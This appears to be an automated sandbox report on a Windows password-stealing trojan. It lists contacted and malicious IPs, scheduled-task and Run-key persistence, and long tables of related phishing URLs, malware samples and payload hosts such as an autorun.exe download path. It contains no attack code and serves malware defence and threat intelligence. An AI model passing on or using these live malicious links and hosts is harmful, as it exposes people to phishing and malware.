34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
142.251.35.174	www3.l.google.com	United States	15169	GOOGLEUS	false
172.253.62.84	accounts.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.72.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.72.110	youtube.com	United States	15169	GOOGLEUS	false
142.251.32.118	unknown	United States	15169	GOOGLEUS	false
142.251.163.84	unknown	United States	15169	GOOGLEUS	false
74.125.1.166	rr1.sn-q4fl6nlz.googlevideo.com	United States	15169	GOOGLEUS	false
142.250.80.46	unknown	United States	15169	GOOGLEUS	false
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.68	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
152.195.19.97	sni1gl.wpc.nucdn.net	United States	15133	EDGECASTUS	false
142.251.40.110	unknown	United States	15169	GOOGLEUS	false
142.251.32.100	www.google.com	United States	15169	GOOGLEUS	false
172.217.165.150	unknown	United States	15169	GOOGLEUS	false
54.205.248.223	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
142.251.16.84	unknown	United States	15169	GOOGLEUS	false
13.226.34.9	mitmdetection.services.mozilla.com	United States	16509	AMAZON-02US	false
142.250.65.214	i.ytimg.com	United States	15169	GOOGLEUS	false
173.194.191.230	unknown	United States	15169	GOOGLEUS	false
142.250.65.196	unknown	United States	15169	GOOGLEUS	false
142.250.65.195	unknown	United States	15169	GOOGLEUS	false
104.21.21.16	tmpfiles.org	United States	13335	CLOUDFLARENETUS	false
142.251.40.238	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
173.194.57.39	rr2.sn-q4fl6nz6.googlevideo.com	United States	15169	GOOGLEUS	false
193.233.132.62	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
13.225.63.72	services.addons.mozilla.org	United States	16509	AMAZON-02US	false
142.251.35.164	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1376410
Start date and time:	2024-01-18 00:33:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@160/856@163/45
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 71% Number of executed functions: 85 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.55.235.251, 192.229.211.108, 142.251.32.99, 34.104.35.123, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 13.107.21.200, 204.79.197.200, 23.40.179.55, 23.40.179.37, 142.251.32.106, 142.251.35.163, 23.49.251.134, 23.49.251.151, 23.40.179.38, 23.40.179.47, 142.251.40.227, 142.250.80.67, 35.81.110.220, 34.210.248.216, 52.13.68.45, 20.189.173.21, 142.250.72.106, 142.251.40.138, 142.250.176.202, 142.251.40.170, 142.251.40.106, 142.250.80.42, 142.251.35.170, 142.251.40.234, 142.250.64.106, 142.251.41.10, 142.250.80.74, 172.217.165.138, 142.250.80.106, 142.251.40.202, 142.250.81.234, 142.250.80.99, 142.250.65.202, 142.250.80.10, 142.250.65.170, 142.250.65.234, 142.250.81.227, 142.251.40.163, 204.79.197.203, 20.94.151.93, 23.200.3.30, 23.200.3.20, 23.43.85.31, 23.43.85.9, 23.43.85.42, 23.43.85.39, 23.43.85.27, 23.43.85.29, 23.43.85.21, 23.43.85.18, 23.43.85.43, 104.77.150.186, 104.77.150.169, 104.77.150.139, 104.77.150.148, 20.110.205.119, 52.159.100.48, 13.69.
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, aus5.mozilla.org, a19.dscg10.akamai.net, tm-prod-wd-csp-edge.trafficmanager.net, e86303.dscx.akamaiedge.net, ocsp.digicert.com, locprod2-elb-us-west-2.prod.mozaws.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www-bing-com.dual-a-0001.a-msedge.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fonts.googleapis.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, bingadsedgeextension-prod.trafficmanager.net, dual-a-0001.a-msedge.net, cdp-tlu-ssl-shim.trafficmanager.net, www-www.bing.com.trafficmanager.net, ocsp.pki.goog, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.co
Execution Graph export aborted for target MPGPH131.exe, PID 1464 because it is empty
Execution Graph export aborted for target MPGPH131.exe, PID 6272 because it is empty
Execution Graph export aborted for target RageMP131.exe, PID 2792 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
VT rate limit hit for: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Simulations

Behavior and APIs

Time	Type	Description
00:34:12	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
00:34:12	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
00:34:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
00:34:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
00:34:51	API Interceptor	527231x Sleep call for process: explorhe.exe modified
00:34:52	Task Scheduler	Run new task: explorhe.exe path: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
00:34:54	API Interceptor	1x Sleep call for process: WerFault.exe modified
00:35:36	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.40	Invoice#RV0937.svg	Get hash	malicious	Unknown	Browse
	https://p20.zdusercontent.com/attachment/24126/bO28w8fzEUGkxCMWlMOEpz2Vb?token=**********	Get hash	malicious	HTMLPhisher	Browse
	OTJ Outstanding Statement.xlsx	Get hash	malicious	HTMLPhisher	Browse
	http://livespoints.com/sso.dsv.com	Get hash	malicious	Unknown	Browse
	1-17-24.msg	Get hash	malicious	HTMLPhisher	Browse
	https://h1xhw4w4rh.adosierthy.tech/?email=a3JhbW9zQG5jY29tbXVuaXR5Y29sbGVnZXMuZWR1	Get hash	malicious	HTMLPhisher	Browse
	https://r20.rs6.net/tn.jsp?f=001TaX7jDxmCi2eZvptKt6YZHHfPD5XaY0RqPVKqIWmnudYsT5_GxLrJsqkSliyFqrDLohXKnzLakgaQgR7dA3QOOHnXrLC-WAUxMpXRV4XVhciGwRUSLv7VtjLWKRLO6sHsRDVlTT73fU=&c=gjXYX_Eg_XXCMTg1AHu6JU9s7WKKMqZUv7bdaN7V_BCfqTnxbB0kXw==&c=&ch==&__=/mfytgutmd65fr/Y25Abm92b3p5bWVzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://r20.rs6.net/tn.jsp?f=001SumwzTzStnmZ0BnWzHmm-i9hKkLve-J1sfNEdtbKGwGu10ghi6zsuaesr94HgFUKyGSeSzR9RuxQUvPsCk5X5DxLNOKwgAZVnfeLSfAcTWxU3ebtP3M3slqpuR9Y7y5QPlGc1uBIt1xM3w9YRZ2sbJrh-Pt14L3_Hrsz_FHjKVs=&c=&ch===&__=/?test@microsoft.com	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	InvoiceJ9AR10_PDF.svg	Get hash	malicious	Unknown	Browse
	https://1drv.ms/b/s!Au_iWJNj9ucega8VdNm54Y_182oELA	Get hash	malicious	Unknown	Browse
	https://na4.docusign.net/Signing/EmailStart.aspx?a=11a8ea43-f4a1-4673-9748-a405652ae492&acct=6c24687d-2e8f-4891-ae9a-0598273c3835&er=f3d8a336-fdac-4a63-abb1-6df677145058	Get hash	malicious	HTMLPhisher	Browse
	https://1m6mqba64sdu-1323816442.cos.na-toronto.myqcloud.com/1m6mqba64sdu.html	Get hash	malicious	HTMLPhisher	Browse
	https://r20.rs6.net/tn.jsp?f=001Qj__emGD9Bdq3jIbmTGzXeZtKP-gL9EOTVwYA5oIhXAYUkGQwue91c0c-myzSYqSUJ90bB2Bol9LvoeGqzl-IuKGsPYzAOr7jbNB4RN_SfyeVzt9IHZ0QAKTbFZEd7cKkaeQu5DtNiF6YcQwmKGWXWZIY1504l9T&c=&ch==&__=/DOMC/YWJyYXZvQGV2ZXJzaGVkcy1zdXRoZXJsYW5kLmVz	Get hash	malicious	HTMLPhisher	Browse
	https://tap-rt-prod1-t.campaign.adobe.com/r/?id=h9ecb88b,c1e96b3,69fe0fb&p1=teensgrieve.org/.asirodj/?q=aWJkZ0Bub3ZvenltZXMuY29t	Get hash	malicious	HTMLPhisher	Browse
	http://lndustrialwerksaustralia-docsiuhfeioh.nimbusweb.me/share/10105497/2qxe489s74rsqmtgo0xe	Get hash	malicious	HTMLPhisher	Browse
	https://mfaauthexx.grksteels.com/frank.user@fbi.gov	Get hash	malicious	HTMLPhisher	Browse
	https://fanlink.to/tYDV	Get hash	malicious	Unknown	Browse
	WEXTRACT.exe	Get hash	malicious	Unknown	Browse
	Actioned_EFTREMITTANCE00087.html	Get hash	malicious	HTMLPhisher	Browse
194.33.191.102	71H7GzO624.exe	Get hash	malicious	Petite Virus, RedLine, RisePro Stealer, Socks5Systemz, Stealc, Tofsee, Vidar	Browse	194.33.191.102/autorun.exe
194.33.191.102	LU7TWS3uAl.exe	Get hash	malicious	Petite Virus, PrivateLoader, RedLine, RisePro Stealer, Socks5Systemz, Stealc	Browse	194.33.191.102/autorun.exe
34.117.237.239	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	WEXTRACT.exe	Get hash	malicious	Unknown	Browse
	cdwx.exe	Get hash	malicious	Unknown	Browse
	tWfizSwnIO.exe	Get hash	malicious	Unknown	Browse
	IgnR9tbNCb.exe	Get hash	malicious	RisePro Stealer	Browse
	wx3.exe	Get hash	malicious	Unknown	Browse
	ISO Certificate_pdf.html	Get hash	malicious	Unknown	Browse
	a.out.exe	Get hash	malicious	Unknown	Browse
	Arglesmorgay.exe	Get hash	malicious	Unknown	Browse
	lpk.dll	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_87ad0936c403d0ddfbceff0fa4e6c681c37cf072.zip	Get hash	malicious	Unknown	Browse
	KFP.311.152.2023.pdf.lnk	Get hash	malicious	Unknown	Browse
	ALL-20230526.xlsx	Get hash	malicious	Unknown	Browse
	https://1drv.ms/b/s!Aj_dAsJOtS3GeKVcEaa61wq6boU?e=TSuYkW	Get hash	malicious	Unknown	Browse
	idman642build2.exe	Get hash	malicious	Unknown	Browse
	FACFFEA545BA2D1D9E9AB4ED74.dll	Get hash	malicious	Unknown	Browse
	https://drive.google.com/uc?export=download&id=1KgHo8oMsciWr0SHmcJ8Af0eMTe3KBKoC	Get hash	malicious	Unknown	Browse
	Ftaskmrg.exe	Get hash	malicious	Unknown	Browse
	maidservant.dll	Get hash	malicious	PikaBot	Browse
	b.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	WEXTRACT.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	cdwx.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	boinkwx.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	tWfizSwnIO.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	IgnR9tbNCb.exe	Get hash	malicious	RisePro Stealer	Browse	93.184.216.34
	file.exe	Get hash	malicious	RisePro Stealer	Browse	93.184.216.34
	file.exe	Get hash	malicious	RisePro Stealer	Browse	93.184.216.34
	wx3.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	WEXTRACT.EXE.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	WEXTRACT2.EXE.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	ISO Certificate_pdf.html	Get hash	malicious	Unknown	Browse	93.184.216.34
	a.out.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	Arglesmorgay.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	lpk.dll	Get hash	malicious	Unknown	Browse	93.184.216.34
	MDE_File_Sample_87ad0936c403d0ddfbceff0fa4e6c681c37cf072.zip	Get hash	malicious	Unknown	Browse	93.184.216.34
	KFP.311.152.2023.pdf.lnk	Get hash	malicious	Unknown	Browse	93.184.216.34
	ALL-20230526.xlsx	Get hash	malicious	Unknown	Browse	93.184.216.34
	https://1drv.ms/b/s!Aj_dAsJOtS3GeKVcEaa61wq6boU?e=TSuYkW	Get hash	malicious	Unknown	Browse	93.184.216.34
	idman642build2.exe	Get hash	malicious	Unknown	Browse	93.184.216.34
	FACFFEA545BA2D1D9E9AB4ED74.dll	Get hash	malicious	Unknown	Browse	93.184.216.34
chrome.cloudflare-dns.com	EpsilonSpaceWorld.exe	Get hash	malicious	Unknown	Browse	104.18.23.202
	Invoice#RV0937.svg	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://transfer.e-fax.org/file_download/4002344058/citibank_statement_dec_2023.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://livespoints.com/sso.dsv.com	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://trk.klclick3.com/ls/click?upn=60zrMRL8humPvMqOvvRGEuEJJsMVI-2BknHKCVUZkMvstETNbQbXMPWBJfSvVXZnmtsEYAJ4DibuQh0787jUaY8HgL-2FZxXyYdwTGrzdhNF2Y-2FhJEocYELFODqNqyRZfJvvdD7Z57dp-2B-2FxjX-2FFjvbNwAIt3tCbctb80cokyl4EidX5GdWxEzq7NxAONk-2BPwpGU9dnYA7rJ-2F4-2BrL1VbeV0JxJCV2ErlrLhB1qSePk5CFgiPGQWyt8-2FHJ-2BDNIWsKZmsUxde9ZOSNRE7Q5zdAlRv873Yk0cI9XsomcbYag3Wzlk0CuX22XYdDHRTpwPYcccje3xl0K_SwQzVbHIfFE9uWxeRIZUf7sxBlUMVV5-2BDExu8iBnKFTH6HQpYy7M65-2B4MHCQXlgAO-2BztY8UDe8f3HgJqiLMLbMOS-2FfUY0chtqi04f-2FuhXQfcmhi6-2BAj7QtD02dM9GXIWrZRlTb5T0dVUpP5OA80v-2FTY33Szujc8rh3501bGxqyx4rX2ZtQXmx-2Bv7RSPMeTEQRYITB1r5f9JFgJr70MTTa6gT-2FJTfggzljpxYKjIUGDr4iPqOdkRN1fnPzPFmtFErNTfrBiidHv6DuUQHF0ldldXxCUtbTjjwoG4z6VaNZAJuS1vjQXcFE5BxdLru8qVX	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://livespoints.com/sso.dsv.com	Get hash	malicious	Unknown	Browse	172.64.41.3
	InvoiceJ9AR10_PDF.svg	Get hash	malicious	Unknown	Browse	162.159.61.3
	EpsilonSpaceWorld.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	WEXTRACT.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://padlet.com/dave386/bsg-logistics-5p791yve09sn7wu4	Get hash	malicious	Unknown	Browse	162.159.61.3
	nso7806.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://laser-gravur.cc/uploads/go.php?0g6dc	Get hash	malicious	Unknown	Browse	172.64.41.3
	cdwx.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	boinkwx.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	tWfizSwnIO.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	IgnR9tbNCb.exe	Get hash	malicious	RisePro Stealer	Browse	172.64.41.3
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.64.41.3
	file.exe	Get hash	malicious	RisePro Stealer	Browse	162.159.61.3
	SecuriteInfo.com.FileRepMalware.22461.28845.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	$R2PE83Y.exe	Get hash	malicious	Unknown	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AQUA-ASRO	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	Attach.html	Get hash	malicious	HTMLPhisher	Browse	194.33.191.140
	SecuriteInfo.com.Win32.PWSX-gen.30340.23979.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	SecuriteInfo.com.Win32.PWSX-gen.23210.9609.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	1QvXZzi81p.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	docx1.hta	Get hash	malicious	AsyncRAT, DcRat, VenomRAT	Browse	194.33.191.248
	ppt1.hta	Get hash	malicious	AsyncRAT, DcRat, VenomRAT	Browse	194.33.191.248
	blues.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	194.33.191.248
	sys.ps1	Get hash	malicious	AsyncRAT, VenomRAT	Browse	194.33.191.248
	file.exe	Get hash	malicious	RedLine, zgRAT	Browse	194.33.191.60
	file.exe	Get hash	malicious	RedLine, zgRAT	Browse	194.33.191.60
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	DPDsvcx.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	AUEmRB9z3Z.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.102
	file.exe	Get hash	malicious	RedLine	Browse	194.33.191.60
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	EpsilonSpaceWorld.exe	Get hash	malicious	Unknown	Browse	34.117.118.44
	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	34.117.186.192
	EpsilonSpaceWorld.exe	Get hash	malicious	Unknown	Browse	34.117.118.44
	file.exe	Get hash	malicious	PrivateLoader	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://dbree.org	Get hash	malicious	Unknown	Browse	34.66.73.214
	doc2009988876370093845_1601202400.exe	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	34.117.103.128
	WEXTRACT.exe	Get hash	malicious	Unknown	Browse	34.117.237.239
	citacionpoderjudicl.msi	Get hash	malicious	Unknown	Browse	34.117.186.192
	https://v.reachum.com/newershowroom/89b73f96-63f4-46b3-90ae-0ec5950d068c/f512b58b-feb0-4f6e-b90e-a6619f102dda	Get hash	malicious	HTMLPhisher	Browse	34.117.218.181
	SecuriteInfo.com.Trojan.Siggen23.22903.24587.4515.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	cdwx.exe	Get hash	malicious	Unknown	Browse	34.117.237.239
	tWfizSwnIO.exe	Get hash	malicious	Unknown	Browse	34.117.237.239
	IgnR9tbNCb.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.237.239
	http://89.190.156.10/w.sh	Get hash	malicious	Unknown	Browse	34.117.121.53
	http://mylovelybluesky.com	Get hash	malicious	Unknown	Browse	34.117.228.201
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	SecuriteInfo.com.FileRepMalware.22461.28845.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	https://bio.to/case792	Get hash	malicious	Unknown	Browse	34.117.186.192
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://use2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	40.76.134.238
	#U26a0#Ufe0fBiolegend_ CALLER DETAILS AVAILABLE _ REF # 36413641 On 17 January 2024.eml	Get hash	malicious	Phisher	Browse	52.111.229.6
	URFYXBtR.eml	Get hash	malicious	HTMLPhisher	Browse	104.47.75.220
	Clearworld Limited Contract document 2024.xls.zip	Get hash	malicious	HTMLPhisher	Browse	52.109.8.89
	https://e.trustifi.com/#/fff0f6/3b034b/69910d/e33bb8/5b1e44/18c765/f8909e/c6e541/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/d0da29/cd3585/80cff1/eaf704/2641c2/c084ad/a14c04/f60812/3adbe9/f7d041/4f8d78/37d9a3/9eb5fb/91479e/892753/8c1f30/9d693b/2a0446/af6550/622c1f/3d0978/653c19/fb8256/d5bbe8/06f3b2/6622ca/c0715b/b1dc4b/bfdbe8/3c0bc4/95282d/c75070/272cc6/51465b/ff0cfe/917e7a/e6c86e/3e41c5/d01483/42abaa/b780c1/5155d4/53aa72/8ba008/97686f/fe7049/0a2973/f9c803/028068/1f0747/07cdde/d7bf27/7d56b6/b2eaef/78f21e/1ad764/f7db46/7673e0/8a089e/da9d2f/0c1756/a2f541/15ea30/fbbbf1/e79d48/8a22a2/2a0aa1/bd49dd/89ef9f/4b76d8/0ee4f1/28a13f/a1cdc0/1b7141/1a335d/5f4b89	Get hash	malicious	HTMLPhisher	Browse	20.190.152.22
	http://kugs.vipku.org/4EameH2979CPbk273kjuzxrriqa14014SCJHJGOXVHMJBHR889062RABJ9063b12	Get hash	malicious	Phisher	Browse	20.50.64.3
	https://t.ly/lHk2Z	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	Invoice#RV0937.svg	Get hash	malicious	Unknown	Browse	13.89.179.8
	https://p20.zdusercontent.com/attachment/24126/bO28w8fzEUGkxCMWlMOEpz2Vb?token=**********	Get hash	malicious	HTMLPhisher	Browse	13.107.213.36
	MT103_0216009430_-_Anun#U021b_de_transfer_efectuat.pdf.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.219.40
	OTJ Outstanding Statement.xlsx	Get hash	malicious	HTMLPhisher	Browse	52.109.8.89
	http://livespoints.com/sso.dsv.com	Get hash	malicious	Unknown	Browse	52.159.100.48
	vRecording__57secs__AUD-olgoonik_VM#33033303.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	1-17-24.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.56.156
	https://h1xhw4w4rh.adosierthy.tech/?email=a3JhbW9zQG5jY29tbXVuaXR5Y29sbGVnZXMuZWR1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://r20.rs6.net/tn.jsp?f=001TaX7jDxmCi2eZvptKt6YZHHfPD5XaY0RqPVKqIWmnudYsT5_GxLrJsqkSliyFqrDLohXKnzLakgaQgR7dA3QOOHnXrLC-WAUxMpXRV4XVhciGwRUSLv7VtjLWKRLO6sHsRDVlTT73fU=&c=gjXYX_Eg_XXCMTg1AHu6JU9s7WKKMqZUv7bdaN7V_BCfqTnxbB0kXw==&c=&ch==&__=/mfytgutmd65fr/Y25Abm92b3p5bWVzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	Possible SpamPourriel PossibleRE Gift from Canadian Tire.zip	Get hash	malicious	Phisher	Browse	52.109.8.89
	https://bmwag-rt-prod2-t.campaign.adobe.com/r/?id=h2ccc12b,8d23fb3,492093b&p1=//r20.rs6.net/tn.jsp?f=001TaX7jDxmCi2eZvptKt6YZHHfPD5XaY0RqPVKqIWmnudYsT5_GxLrJsqkSliyFqrDLohXKnzLakgaQgR7dA3QOOHnXrLC-WAUxMpXRV4XVhciGwRUSLv7VtjLWKRLO6sHsRDVlTT73fU=&c=gjXYX_Eg_XXCMTg1AHu6JU9s7WKKMqZUv7bdaN7V_BCfqTnxbB0kXw==&c=&ch==&__=/mfytgutmd65fr/Y2Z1bmtAemlwcG8uY29t	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://r20.rs6.net/tn.jsp?f=001SumwzTzStnmZ0BnWzHmm-i9hKkLve-J1sfNEdtbKGwGu10ghi6zsuaesr94HgFUKyGSeSzR9RuxQUvPsCk5X5DxLNOKwgAZVnfeLSfAcTWxU3ebtP3M3slqpuR9Y7y5QPlGc1uBIt1xM3w9YRZ2sbJrh-Pt14L3_Hrsz_FHjKVs=&c=&ch===&__=/?test@microsoft.com	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse	13.107.246.40
	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	13.107.21.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://lacahardraditer.tk/_/bWNNgqr9/GAGSxc/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://lilatodero.tk/_/alkrYTBo/Eiqe3z/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://vserpetsaecribear.cf/_/V0oDpBbA/BKp346/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://petcyafecune.tk/_/pFRwS1q4/Kwhn6q/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://cl3.tranx1.pics/wQA2xPs6v80SrXGZmftdHbOLy/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://cl9.tranx1.pics/wQA2xPs6v80SrXGZmftdHbOLy/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://bulkasubtomocar.cf/_/mcuWrU7z/BWDM5Y/?	Get hash	malicious	TechSupportScam	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://askjang.top	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://app.typeset.com/play/R89PL	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://giant-brace-675.notion.site/SHAH-SMITH-ASSOCIATES-IN-a0b279071b9745139df817671a031b09	Get hash	malicious	HTMLPhisher	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	URFYXBtR.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://thims1.in/Message%20Centre/mc.php	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	http://drinkbodyarmor.bradytolbertstudios.com/ZHRpdHVzQGRyaW5rYm9keWFybW9yLmNvbQ==	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	https://gsdgroup.ca/fr/content/40-vms	Get hash	malicious	Unknown	Browse	40.126.24.84 40.127.169.103 23.196.61.234
	http://fdxx.julianateb.info/?3eg99m2	Get hash	malicious	Phisher	Browse	40.126.24.84 40.127.169.103 23.196.61.234
